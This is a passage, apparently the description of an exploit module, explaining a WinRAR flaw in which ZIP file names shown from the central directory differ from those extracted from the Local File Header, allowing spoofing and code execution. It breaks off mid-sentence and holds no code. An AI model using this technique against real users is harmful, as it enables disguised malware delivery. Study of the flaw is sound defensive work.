|
|
This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
|
|
when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
|
|
the central directory, but the file names used to extract and open contents come from the
|
|
Local File Header. This inconsistency allows to spoof file names when opening ZIP files
|
|
with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
